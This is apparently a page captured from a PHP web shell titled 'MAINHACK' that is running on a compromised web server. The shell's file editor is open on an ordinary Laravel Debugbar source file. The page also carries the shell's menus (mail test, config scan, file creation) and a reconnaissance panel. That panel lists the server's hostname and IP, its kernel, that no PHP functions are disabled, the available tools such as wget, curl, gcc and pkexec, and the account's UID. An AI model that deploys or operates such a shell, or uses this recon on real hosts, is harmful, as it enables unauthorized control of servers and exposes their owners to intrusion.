[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: JavascriptRenderer.php
<?php namespace Barryvdh\Debugbar; use DebugBar\DebugBar; use DebugBar\JavascriptRenderer as BaseJavascriptRenderer; use Illuminate\Routing\UrlGenerator; /** * {@inheritdoc} */ class JavascriptRenderer extends BaseJavascriptRenderer { // Use XHR handler by default, instead of jQuery protected $ajaxHandlerBindToJquery = false; protected $ajaxHandlerBindToXHR = true; public function __construct(DebugBar $debugBar, $baseUrl = null, $basePath = null) { parent::__construct($debugBar, $baseUrl, $basePath); $this->cssFiles['laravel'] = __DIR__ . '/Resources/laravel-debugbar.css'; $this->jsFiles['laravel-cache'] = __DIR__ . '/Resources/cache/widget.js'; $this->jsFiles['laravel-queries'] = __DIR__ . '/Resources/queries/widget.js'; $theme = config('debugbar.theme', 'auto'); switch ($theme) { case 'dark': $this->cssFiles['laravel-dark'] = __DIR__ . '/Resources/laravel-debugbar-dark-mode.css'; break; case 'auto': $this->cssFiles['laravel-dark-0'] = __DIR__ . '/Resources/laravel-debugbar-dark-mode-media-start.css'; $this->cssFiles['laravel-dark-1'] = __DIR__ . '/Resources/laravel-debugbar-dark-mode.css'; $this->cssFiles['laravel-dark-2'] = __DIR__ . '/Resources/laravel-debugbar-dark-mode-media-end.css'; } } /** * Set the URL Generator * * @param \Illuminate\Routing\UrlGenerator $url * @deprecated */ public function setUrlGenerator($url) { } /** * {@inheritdoc} */ public function renderHead() { $cssRoute = preg_replace('/\Ahttps?:\/\/[^\/]+/', '', route('debugbar.assets.css', [ 'v' => $this->getModifiedTime('css'), 'theme' => config('debugbar.theme', 'auto'), ])); $jsRoute = preg_replace('/\Ahttps?:\/\/[^\/]+/', '', route('debugbar.assets.js', [ 'v' => $this->getModifiedTime('js') ])); $nonce = $this->getNonceAttribute(); $html = "<link rel='stylesheet' type='text/css' property='stylesheet' href='{$cssRoute}' data-turbolinks-eval='false' data-turbo-eval='false'>"; $html .= "<script{$nonce} src='{$jsRoute}' data-turbolinks-eval='false' data-turbo-eval='false'></script>"; if ($this->isJqueryNoConflictEnabled()) { $html .= "<script{$nonce} data-turbo-eval='false'>jQuery.noConflict(true);</script>" . "\n"; } $inlineHtml = $this->getInlineHtml(); if ($nonce != '') { $inlineHtml = preg_replace("/<(script|style)>/", "<$1{$nonce}>", $inlineHtml); } $html .= $inlineHtml; return $html; } protected function getInlineHtml() { $html = ''; foreach (['head', 'css', 'js'] as $asset) { foreach ($this->getAssets('inline_' . $asset) as $item) { $html .= $item . "\n"; } } return $html; } /** * Get the last modified time of any assets. * * @param string $type 'js' or 'css' * @return int */ protected function getModifiedTime($type) { $files = $this->getAssets($type); $latest = 0; foreach ($files as $file) { $mtime = filemtime($file); if ($mtime > $latest) { $latest = $mtime; } } return $latest; } /** * Return assets as a string * * @param string $type 'js' or 'css' * @return string */ public function dumpAssetsToString($type) { $files = $this->getAssets($type); $content = ''; foreach ($files as $file) { $content .= file_get_contents($file) . "\n"; } return $content; } /** * Makes a URI relative to another * * @param string|array $uri * @param string $root * @return string */ protected function makeUriRelativeTo($uri, $root) { if (!$root) { return $uri; } if (is_array($uri)) { $uris = []; foreach ($uri as $u) { $uris[] = $this->makeUriRelativeTo($u, $root); } return $uris; } if (substr($uri ?? '', 0, 1) === '/' || preg_match('/^([a-zA-Z]+:\/\/|[a-zA-Z]:\/|[a-zA-Z]:\\\)/', $uri ?? '')) { return $uri; } return rtrim($root, '/') . "/$uri"; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002